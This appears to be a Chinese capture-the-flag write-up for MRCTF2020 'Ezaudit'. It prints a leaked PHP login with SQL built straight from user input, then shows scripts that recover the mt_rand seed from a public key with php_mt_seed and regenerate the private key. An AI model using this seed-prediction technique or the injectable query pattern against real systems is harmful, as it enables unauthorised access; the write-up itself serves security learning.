[MRCTF2020]Ezaudit
进入主页,没发现有什么明显的漏洞
查看一下源代码,也没有什么发现
猜测有备份文件
dirmap扫描一下
发现有www.zip
<?php header('Content-type:text/html; charset=utf-8'); error_reporting(0); if(isset($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $Private_key = $_POST['Private_key']; if (($username == '') || ($password == '') ||($Private_key == '')) { // 若为空,视为未填写,提示错误,并3秒后返回登录界面 header('refresh:2; url=login.html'); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!"; exit; } else if($Private_key != '*************' ) { header('refresh:2; url=login.html'); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!"; exit; } else{ if($Private_key === '************'){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root"); mysql_select_db("test",$link); $result = mysql_query($getuser); while($row=mysql_fetch_assoc($result)){ echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>"; } } } } // genarate public_key function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } $Public_key = public_key(); //$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
可以看到已经给出了公钥,需要去求私钥
查了一下mt_read这个函数
真的是随机数的话私钥就算不出来了。。
在查了下发现这个函数有个伪随机数漏洞
可以来测试一下
<?php mt_srand(2131321); echo "当rand值为2131321时生成的伪随机数列:\n"; for($i = 0; $i < 5 ;$i++){ echo mt_rand()."\n"; } mt_srand(111521521); echo "当rand值为111521521时生成的伪随机数列:\n"; for($k=0 ;$k < 5; $k++){ echo mt_rand()."\n"; } mt_srand(111); echo "当rand值为111时生成的伪随机数列:\n"; for($k=0 ;$k < 5; $k++){ echo mt_rand()."\n"; } ?> <?php mt_srand(111); echo "当rand值为111时生成的伪随机数列:\n"; for($i = 0; $i < 5 ;$i++){ echo mt_rand()."\n"; } ?>
所以当拿到seed时就可以算出私钥了
下载一下php_mt_seed工具来爆破seed
先将公钥转换成脚本能识别的数列
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break print(res)
知道了seed也知道了php版本
<?php mt_srand(1775196155); function public_key($length = 16) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $public_key = ''; for ( $i = 0; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1); return $public_key; } //genarate private_key function private_key($length = 12) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $private_key = ''; for ( $i = 0; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1); return $private_key; } echo public_key() . "<br>"; echo private_key(); ?>
得到了私钥
得到了flag
参考文章:https://blog.csdn.net/czc1997/article/details/78167705